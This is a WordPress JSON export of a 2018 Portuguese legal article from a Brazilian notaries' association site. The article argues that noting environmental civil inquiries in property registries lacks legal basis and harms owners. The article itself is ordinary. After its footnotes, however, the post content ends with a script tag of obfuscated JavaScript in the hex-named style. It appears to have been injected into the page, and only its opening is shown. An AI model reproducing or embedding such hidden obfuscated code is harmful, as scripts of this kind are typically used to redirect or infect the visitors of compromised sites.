{"id":871,"date":"2018-06-20T14:01:51","date_gmt":"2018-06-20T17:01:51","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-a-ilegalidade-da-anotacao-de-inqueritos-civis-ambientais-no-registro-de-imoveis-por-joao-emmanuel-cordeiro-lima-e-pedro-henrique-cordeiro-lima\/"},"modified":"2018-06-20T14:01:51","modified_gmt":"2018-06-20T17:01:51","slug":"artigo-a-ilegalidade-da-anotacao-de-inqueritos-civis-ambientais-no-registro-de-imoveis-por-joao-emmanuel-cordeiro-lima-e-pedro-henrique-cordeiro-lima","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-a-ilegalidade-da-anotacao-de-inqueritos-civis-ambientais-no-registro-de-imoveis-por-joao-emmanuel-cordeiro-lima-e-pedro-henrique-cordeiro-lima\/","title":{"rendered":"Artigo &#8211; A ilegalidade da anota\u00e7\u00e3o de inqu\u00e9ritos civis ambientais no registro de im\u00f3veis \u2013 Por Jo\u00e3o Emmanuel Cordeiro Lima e Pedro Henrique Cordeiro Lima"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Uma pr&aacute;tica que vem se tornando cada vez mais comum &eacute; a anota&ccedil;&atilde;o de inqu&eacute;ritos civis que investigam poss&iacute;veis degrada&ccedil;&otilde;es ambientais no registro de im&oacute;veis. A pedido do Minist&eacute;rio P&uacute;blico, alguns oficiais t&ecirc;m consignado a exist&ecirc;ncia dessas investiga&ccedil;&otilde;es no registro p&uacute;blico e informado sobre esse fato quando instados a fornecer certid&atilde;o de matr&iacute;cula de determinado im&oacute;vel. Esse tipo de anota&ccedil;&atilde;o por vezes &eacute; tratada como averba&ccedil;&atilde;o e em outras como um simples arquivamento[1] de informa&ccedil;&atilde;o, mas, independentemente dessa classifica&ccedil;&atilde;o, &eacute; sempre levada ao conhecimento de todo aquele que solicite informa&ccedil;&otilde;es sobre o bem, seja pessoalmente ou por meio de certid&otilde;es, at&eacute; o encerramento do inqu&eacute;rito.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Dois principais argumentos v&ecirc;m sendo utilizados para justificar esse procedimento. O primeiro &eacute; que a realiza&ccedil;&atilde;o dessas anota&ccedil;&otilde;es auxiliaria na preven&ccedil;&atilde;o de fatos lesivos ao meio ambiente, como defendido em artigo publicado na ConJur[2]. O segundo &eacute; que asseguraria maior publicidade sobre fatos relacionados ao im&oacute;vel, o que a todos interessaria. Os fundamentos legais invocados para autoriz&aacute;-lo s&atilde;o os artigos 246 e 13, III, da Lei Federal 6.015\/73 (Lei de Registros) e o artigo 26, VI da Lei Org&acirc;nica Nacional do Minist&eacute;rio P&uacute;blico.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Na contram&atilde;o desse entendimento, que inclusive j&aacute; foi sufragado pelo TJ-SP[3], o presente artigo sustenta que, ainda que bem intencionado, esse procedimento carece de amparo legal. Al&eacute;m disso, pode causar preju&iacute;zos reais aos propriet&aacute;rios dos im&oacute;veis ao mesmo tempo em que pouco contribui efetivamente para o fornecimento de informa&ccedil;&otilde;es &uacute;teis a terceiros que tenham interesse no im&oacute;vel ou para a preven&ccedil;&atilde;o da degrada&ccedil;&atilde;o ambiental. Vejamos.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O registro de im&oacute;veis foi um mecanismo criado pela sociedade para dar maior seguran&ccedil;a aos neg&oacute;cios relacionados aos im&oacute;veis, que s&atilde;o bens historicamente considerados relevantes. Por meio dele, d&aacute;-se conhecimento ao p&uacute;blico em geral de fatos jur&iacute;dicos espec&iacute;ficos relacionados a esses bens, permitindo um fluxo seguro das opera&ccedil;&otilde;es econ&ocirc;micas que os envolvam. Esses fatos em regra est&atilde;o relacionados &agrave; constitui&ccedil;&atilde;o, declara&ccedil;&atilde;o, altera&ccedil;&atilde;o ou extin&ccedil;&atilde;o de direitos reais sobre os im&oacute;veis.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Nem toda informa&ccedil;&atilde;o pode ser inscrita no registro de im&oacute;veis, ainda que seu propriet&aacute;rio ou terceiro a julgue, a partir de crit&eacute;rios pessoais, relevantes. Se isso fosse poss&iacute;vel, o registro se transformaria em verdadeira balb&uacute;rdia e teria prejudicada sua fun&ccedil;&atilde;o de transmitir eficientemente fatos importantes relativos ao bem e viabilizar o tr&aacute;fico econ&ocirc;mico com seguran&ccedil;a. Imagine, por exemplo, se fosse poss&iacute;vel que o propriet&aacute;rio de um im&oacute;vel anotasse na matr&iacute;cula o fato de ter recebido no local uma personalidade importante na esperan&ccedil;a de colher com isso alguma valoriza&ccedil;&atilde;o; se um religioso pudesse ter assentado no registro de um im&oacute;vel a ocorr&ecirc;ncia de evento especialmente marcante para sua religi&atilde;o; ou, ainda, se uma autoridade qualquer julgasse prudente registrar que determinada propriedade foi alvo de in&uacute;meras invas&otilde;es por movimentos de sem-terra, ou de den&uacute;ncias de perturba&ccedil;&atilde;o sonora, de modo a prevenir que terceiros interessados em sua aquisi&ccedil;&atilde;o sejam surpreendidos com essa realidade. Ter-se-ia um registro ca&oacute;tico, heterog&ecirc;neo e pouco &uacute;til para assegurar a realiza&ccedil;&atilde;o segura de opera&ccedil;&otilde;es econ&ocirc;micas que envolvam o bem.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Por isso, de modo a assegurar a utilidade do registro, o legislador corretamente definiu aquilo que pode nele constar, garantindo sua organiza&ccedil;&atilde;o e uniformidade. Atualmente, essa tarefa &eacute; cumprida pela Lei de Registros, que elencou em seu artigo 167 os atos pass&iacute;veis de registro e averba&ccedil;&atilde;o, e por outras leis esparsas que tratam do tema e indicam os atos que podem ser assentados. &Eacute; claro que essas previs&otilde;es legais podem ser alteradas, seja para incluir ou excluir novos atos pass&iacute;veis de anota&ccedil;&atilde;o. Contudo, trata-se de modifica&ccedil;&atilde;o que depende da vontade do legislador e n&atilde;o do ju&iacute;zo subjetivo de qualquer interessado ou mesmo da autoridade de momento.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &Eacute; verdade tamb&eacute;m que, no caso dos atos pass&iacute;veis de averba&ccedil;&atilde;o, o legislador adotou na pr&oacute;pria Lei de Registros uma reda&ccedil;&atilde;o mais aberta ao permitir que fossem averbados, al&eacute;m dos casos expressamente indicados no item II do artigo 167, as sub-roga&ccedil;&otilde;es e outras ocorr&ecirc;ncias que, por qualquer modo, alterem o registro, o que leva a doutrina a classificar esse rol como exemplificativo. Contudo, mesmo nesse caso, n&atilde;o se deu ao oficial de registro carta branca para averbar qualquer informa&ccedil;&atilde;o ou ato, mas apenas as sub-roga&ccedil;&otilde;es e outras ocorr&ecirc;ncias que alterem o registro. &Eacute; o que ocorre, por exemplo, no caso do tombamento definitivo de bens particulares (artigo 13 do Decreto-Lei 25\/1973) ou das &aacute;reas comprovadamente contaminadas[4]. N&atilde;o sendo preenchidos esses requisitos (sub-roga&ccedil;&atilde;o ou altera&ccedil;&atilde;o do registro), a averba&ccedil;&atilde;o n&atilde;o &eacute; poss&iacute;vel.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Quando se analisa a legisla&ccedil;&atilde;o vigente, verifica-se que o legislador em momento algum indicou como fato pass&iacute;vel de registro ou averba&ccedil;&atilde;o a instaura&ccedil;&atilde;o de inqu&eacute;rito civil. E n&atilde;o faltaram oportunidades para faz&ecirc;-lo. Criado em 1985 pela Lei de A&ccedil;&atilde;o Civil P&uacute;blica, esse instrumento seria depois consagrado pela Constitui&ccedil;&atilde;o Federal e previsto na Lei Federal 7.853\/89, no Estatuto da Crian&ccedil;a e do Adolescente, no C&oacute;digo de Defesa do Consumidor, na Lei de Crimes Ambientais e no Estatuto do Idoso. Apesar disso, em momento nenhum se entendeu conveniente apontar que a mera instaura&ccedil;&atilde;o de inqu&eacute;rito deveria ser objeto de assentamento no registro de im&oacute;veis.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; A raz&atilde;o para tanto decorre das pr&oacute;prias caracter&iacute;sticas desse procedimento, que carece da estabilidade e seguran&ccedil;a encontradas, em maior ou menor medida, nos outros atos pass&iacute;veis de assentamento no registro p&uacute;blico. A primeira delas &eacute; car&aacute;ter inquisitivo do inqu&eacute;rito, que dispensa a oitiva do propriet&aacute;rio do bem antes ou ap&oacute;s sua instaura&ccedil;&atilde;o. A segunda &eacute; a precariedade desse procedimento, que pode ser instaurado a qualquer tempo a partir de sinais m&iacute;nimos de irregularidade. A terceira &eacute; a flexibilidade no prazo para seu encerramento, pois, apesar de supostamente ter prazo m&aacute;ximo de um ano, esse pode ser prorrogado indefinidamente[5]. Al&eacute;m disso, h&aacute; ainda o fato de que tal procedimento n&atilde;o se sujeitar ao controle judicial peri&oacute;dico, ficando exclusivamente a cargo do Minist&eacute;rio P&uacute;blico definir se e quando o encerrar&aacute;.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Os fundamentos legais invocados pelos defensores da anota&ccedil;&atilde;o do inqu&eacute;rito est&atilde;o longe de dar sustenta&ccedil;&atilde;o a esse procedimento. O artigo 246 da Lei de Registros, apesar de reconhecer o car&aacute;ter meramente exemplificativo do rol contido no artigo 167, II, apenas autoriza a averba&ccedil;&atilde;o das sub-roga&ccedil;&otilde;es e outras ocorr&ecirc;ncias que, por qualquer modo, alterem o registro. A instaura&ccedil;&atilde;o de um inqu&eacute;rito n&atilde;o acarreta sub-roga&ccedil;&atilde;o, que nada mais &eacute; que a substitui&ccedil;&atilde;o de uma pessoa ou de uma coisa por outra em uma rela&ccedil;&atilde;o jur&iacute;dica, e tampouco altera registro, que permanece intacto.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O artigo 13, III, da Lei de Registros tamb&eacute;m n&atilde;o se presta para socorrer essa tese, j&aacute; que apenas autoriza o parquet a requerer a pr&aacute;tica de atos de registro &ldquo;quando a lei autorizar&rdquo;. Como visto, nenhuma lei autorizou a anota&ccedil;&atilde;o de inqu&eacute;rito no registro p&uacute;blico, o que impede que eventual requerimento seja atendido. Na verdade, o citado artigo 13, III, n&atilde;o d&aacute; ao Minist&eacute;rio P&uacute;blico tratamento especial, colocando-o em p&eacute; de igualdade com os demais interessados, mencionados no inciso II, que tamb&eacute;m poder&atilde;o requerer a pr&aacute;tica de atos de registro. Em ambas as hip&oacute;teses, por &oacute;bvio, caber&aacute; ao oficial registrador respons&aacute;vel averiguar se o pedido encontra respaldo em alguma hip&oacute;tese legal.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O outro dispositivo invocado em defesa dessa tese &eacute; o artigo 26, VI, da Lei Org&acirc;nica Nacional do Minist&eacute;rio P&uacute;blico, que permite ao membro do Minist&eacute;rio P&uacute;blico dar publicidade aos procedimentos administrativos n&atilde;o disciplinares que instaurar e das medidas adotadas. Ora, o fato de autorizar o parquet a dar publicidade a suas investiga&ccedil;&otilde;es n&atilde;o permite que isso seja feito de qualquer forma e muito menos em assentos que por sua natureza n&atilde;o permitem a entrada de todo tipo de informa&ccedil;&atilde;o, como &eacute; o caso dos registros de im&oacute;veis. Uma interpreta&ccedil;&atilde;o t&atilde;o el&aacute;stica desse dispositivo levaria &agrave; absurda conclus&atilde;o de que o &oacute;rg&atilde;o pudesse, sob o alegado manto desse dispositivo, exigir que todas as prefeituras do pa&iacute;s inclu&iacute;ssem em seu site, ou mesmo no &aacute;trio de suas sedes, informa&ccedil;&atilde;o sobre uma investiga&ccedil;&atilde;o de car&aacute;ter nacional que julgue relevante; que a junta comercial anotasse a exist&ecirc;ncia de inqu&eacute;rito contra empresas investigadas em seus registros; que o registro civil fizesse o mesmo em rela&ccedil;&atilde;o &agrave;s pessoas f&iacute;sicas investigadas; ou, ainda, que redes de televis&atilde;o p&uacute;blicas tivessem que divulgar a exist&ecirc;ncia do procedimento para assegurar sua ampla publicidade. Na verdade, o que esse dispositivo autoriza &eacute; simplesmente que o &oacute;rg&atilde;o permita acesso do procedimento ao p&uacute;blico em geral ou divulgue seu trabalho de forma razo&aacute;vel nas plataformas geridas por ele, como o site da entidade e suas publica&ccedil;&otilde;es, ou at&eacute; mesmo na imprensa oficial.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O simples fato de n&atilde;o ter amparo legal j&aacute; desautorizaria a medida em quest&atilde;o, como corretamente reconhecido pelo TJ-MS[6], ainda que se mostrasse ben&eacute;fica ao meio ambiente e n&atilde;o causasse preju&iacute;zos a terceiros. Contudo, h&aacute; ainda o fato agravante de que sua ado&ccedil;&atilde;o tem, sim, o cond&atilde;o de causar preju&iacute;zos efetivos aos propriet&aacute;rios dos im&oacute;veis, tratando-se, na pr&aacute;tica, de verdadeira hip&oacute;tese de antecipa&ccedil;&atilde;o punitiva. &Eacute; que, ao fazer essa anota&ccedil;&atilde;o, o parquet lan&ccedil;a d&uacute;vidas sobre a exist&ecirc;ncia de problemas da &aacute;rea, mesmo que a justificativa para a instaura&ccedil;&atilde;o da investiga&ccedil;&atilde;o seja uma mera not&iacute;cia de jornal ou den&uacute;ncia parcamente fundamentada. Esse fato pode afastar eventuais interessados na aquisi&ccedil;&atilde;o do im&oacute;vel ou gerar sua desvaloriza&ccedil;&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; N&atilde;o convence o argumento de que a simples anota&ccedil;&atilde;o da exist&ecirc;ncia de inqu&eacute;rito n&atilde;o causa preju&iacute;zos pelo fato de n&atilde;o impedir as opera&ccedil;&otilde;es econ&ocirc;micas envolvendo o bem. Ainda que, do ponto de vista jur&iacute;dico, essa conclus&atilde;o esteja correta, os reflexos reputacionais e patrimoniais decorrentes do envolvimento de bens ou pessoas em uma investiga&ccedil;&atilde;o s&atilde;o ineg&aacute;veis. Afirmar que a exist&ecirc;ncia de inqu&eacute;rito civil ambiental sobre determinado im&oacute;vel n&atilde;o afeta seu valor ou dificulta sua negocia&ccedil;&atilde;o se equipara a defender que se submeter a uma investiga&ccedil;&atilde;o criminal n&atilde;o imp&otilde;e qualquer constrangimento a uma pessoa. &Eacute; tamb&eacute;m esse o entendimento de Mazzilli, para quem &ldquo;uma investiga&ccedil;&atilde;o descabida n&atilde;o raro provoca danos de dif&iacute;ceis mensura&ccedil;&atilde;o e repara&ccedil;&atilde;o para quem &eacute; investigado, seja uma pessoa f&iacute;sica ou mesmo uma empresa&rdquo;[7].<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Nem mesmo o argumento de que a anota&ccedil;&atilde;o contribuiria para melhor informar terceiros, evitando que adquiram &aacute;reas degradadas, merece prosperar. &Eacute; que, de um lado, como n&atilde;o h&aacute; um dever legal de anota&ccedil;&atilde;o, os registradores devem se negar a faz&ecirc;-lo, sob pena at&eacute; mesmo de responsabiliza&ccedil;&atilde;o; de outro, como inexiste uma obriga&ccedil;&atilde;o legal dirigida ao Minist&eacute;rio P&uacute;blico para que determine a realiza&ccedil;&atilde;o da anota&ccedil;&atilde;o em todos os casos em que atue, a decis&atilde;o tem car&aacute;ter subjetivo, podendo ser tomada ou n&atilde;o de acordo com o caso ou com o posicionamento pessoal do membro. Logo, se o interessado em saber a situa&ccedil;&atilde;o do im&oacute;vel consulta a matr&iacute;cula e nada encontra, essa informa&ccedil;&atilde;o pouca utilidade ter&aacute; e n&atilde;o atestar&aacute; efetivamente se h&aacute; ou n&atilde;o investiga&ccedil;&atilde;o em curso, pois a falta de assentamento pode simplesmente decorrer da escolha do membro do Minist&eacute;rio P&uacute;blico em n&atilde;o &ldquo;determinar&rdquo; a anota&ccedil;&atilde;o ou da recusa do registrador. Por essa mesma raz&atilde;o, mesmo nos casos em que uma anota&ccedil;&atilde;o seja encontrada, nunca se saber&aacute; se os procedimentos existentes s&atilde;o apenas aqueles.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Assim, verifica-se que o uso dessa medida mais promove inseguran&ccedil;a do que seguran&ccedil;a jur&iacute;dica, pois pode causar d&uacute;vidas ao cidad&atilde;o comum, que n&atilde;o conhece essa complexa din&acirc;mica. Vale relembrar para esse caso a percuciente observa&ccedil;&atilde;o de Marcelo A. S. Melo ao defender, em nome do Instituto de Registro Imobili&aacute;rio do Brasil, a impossibilidade de averba&ccedil;&atilde;o de suspeitas de contamina&ccedil;&atilde;o da &aacute;rea no registro de im&oacute;veis. Segundo ele, o registro &ldquo;n&atilde;o admite a publicidade de informa&ccedil;&otilde;es prec&aacute;rias e provis&oacute;rias, o que abalaria o sistema registr&aacute;rio em raz&atilde;o da n&atilde;o-observ&acirc;ncia do princ&iacute;pio da seguran&ccedil;a jur&iacute;dica&rdquo;[8]. O mesmo vale para meras investiga&ccedil;&otilde;es que buscam apurar a exist&ecirc;ncia ou n&atilde;o de degrada&ccedil;&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Al&eacute;m da falta de amparo legal e das consequ&ecirc;ncias que gera, n&atilde;o h&aacute; indicativo de que essa medida efetivamente contribua com a preven&ccedil;&atilde;o da degrada&ccedil;&atilde;o ambiental ou com a repara&ccedil;&atilde;o de danos. &Eacute; que a simples exist&ecirc;ncia da anota&ccedil;&atilde;o n&atilde;o tem &mdash; nem poderia ter &mdash; natureza constitutiva de obriga&ccedil;&atilde;o de fazer, n&atilde;o fazer ou pagar, seja para o propriet&aacute;rio atual ou seu sucessor. Tampouco serve como fundamento para justificar eventual transfer&ecirc;ncia do dever de repara&ccedil;&atilde;o para terceiros. Ou seja, al&eacute;m de causar preju&iacute;zos efetivos aos propriet&aacute;rios dos bens sem amparo legal, a anota&ccedil;&atilde;o aqui discutida n&atilde;o traz benef&iacute;cios efetivos no que se refere &agrave; preven&ccedil;&atilde;o da degrada&ccedil;&atilde;o ambiental ou &agrave; efetiva repara&ccedil;&atilde;o de danos causados ao meio ambiente.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Por fim, vale ressaltar que n&atilde;o se pretende questionar a import&acirc;ncia de garantir publicidade aos procedimentos investigat&oacute;rios conduzidos pelo Minist&eacute;rio P&uacute;blico. O que se discute aqui &eacute; exclusivamente a forma adequada para faz&ecirc;-lo &agrave; luz da legisla&ccedil;&atilde;o vigente e os poss&iacute;veis danos decorrentes de sua inobserv&acirc;ncia. Com ou sem anota&ccedil;&atilde;o no registro, o parquet seguir&aacute; tendo &agrave; sua disposi&ccedil;&atilde;o meios eficientes, como os seus sites, publica&ccedil;&otilde;es e a imprensa oficial, nos quais poder&aacute; deixar claro os limites da informa&ccedil;&atilde;o fornecida e disponibilizar o inteiro teor da investiga&ccedil;&atilde;o para os interessados. Assim, em vez de buscar solu&ccedil;&otilde;es menos ortodoxas, como a anota&ccedil;&atilde;o dos inqu&eacute;ritos nos registros, mais efetivo, conveniente e compat&iacute;vel com a legisla&ccedil;&atilde;o seria que o &oacute;rg&atilde;o ministerial investisse nesses meios leg&iacute;timos, criando, por exemplo, bases de dados mais amig&aacute;veis e facilmente acess&iacute;veis pela internet &agrave;queles que pretendam conhecer os detalhes das investiga&ccedil;&otilde;es em curso sobre determinado im&oacute;vel.<\/p>\n<p>________________________________________<br \/>\n[1] D.O.E. &ndash; 28\/07\/2000. PROTOCOLADO CG-8.505\/2000 &#8211; PIRACICABA &#8211; JU&Iacute;ZO DE DIREITO DA 1&ordf; VARA C&Iacute;VEL.<br \/>\n[2] MIRANDA, Marcos Paulo de Souza. Registro de im&oacute;veis &eacute; um aliado da prote&ccedil;&atilde;o do patrim&ocirc;nio cultural. Dispon&iacute;vel em: https:\/\/www.conjur.com.br\/2017-fev-04\/registro-imoveis-protecao-patrimonio-cultural. Acesso em: 3 de junho de 2018.<br \/>\n[3] TJ-SP; Apela&ccedil;&atilde;o 0000283-56.2013.8.26.0458; Relator (a): Vera Angrisani; &Oacute;rg&atilde;o Julgador: 2&ordf; C&acirc;mara Reservada ao Meio Ambiente; Foro de Piratininga &#8211; Vara &Uacute;nica; Data do Julgamento: 21\/5\/2015; Data de Registro: 26\/5\/2015.<br \/>\n[4] TJ-SP, Processo CG no 167\/2005.<br \/>\n[5] Artigo 9&ordm; da Resolu&ccedil;&atilde;o 23\/2007.<br \/>\n[6] TJ-MS &ndash; MS 5.316, MS 5.316, MS 2001.005316-3.<br \/>\n[7] MAZZILLI, Hugo Nigro. Inqu&eacute;rito civil. 4.ed. S&atilde;o Paulo: Saraiva, 2015. p.54.<br \/>\n[8] MELO, Marcelo A S. GIAC &ndash; relat&oacute;rio da reuni&atilde;o de 14\/2\/2005. Conclus&otilde;es do Irib. Dispon&iacute;vel em: &lt;http:\/\/www.irib.org.br\/boletins\/detalhes\/2277&gt; . Acesso em: 7 de junho de 2018.<\/p>\n<p>&nbsp;<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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